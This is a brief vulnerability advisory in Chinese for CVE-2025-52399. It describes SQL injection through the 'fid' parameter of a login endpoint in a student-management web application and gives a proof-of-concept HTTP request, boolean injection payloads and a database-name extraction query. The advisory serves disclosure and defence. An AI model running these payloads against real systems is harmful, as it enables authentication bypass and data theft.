CVE-2025-52399 - Institute-of-Current-Students 中的 SQL 注入

摘要

Institute-of-Current-Students 应用程序中的 loginlinkfaculty 端点存在 SQL 注入漏洞，漏洞通过 fid POST 参数触发。该参数在用于 SQL 查询之前未进行适当清理，允许远程攻击者执行任意 SQL 命令。

• 漏洞类型：SQL 注入
• 受影响组件：/loginlinkfaculty（POST）
• 受影响参数：fid
• 身份验证：不需要
• 影响：身份验证绕过、数据提取
• 测试环境：localhost
• 数据库：icsnew
• 版本：1.0

PoC

HTTP 请求

http POST /Institute-of-Current-Students/loginlinkfaculty HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded

fid=-1'+OR+321=6+AND+000942=000942--&pass=example

Payload 结果

✅ -1' OR 3*2*1=6 AND 000942=000942 -- → 正确 ❌ -1' OR 2*3=4 AND 000942=000942 -- → 错误

数据库提取

SELECT database(); -- returns 'icsnew'

参考

• CVE-2025-52399 (MITRE)
• 存在漏洞的应用程序
• OWASP SQL 注入

发现者

Isroil Mustafoqulov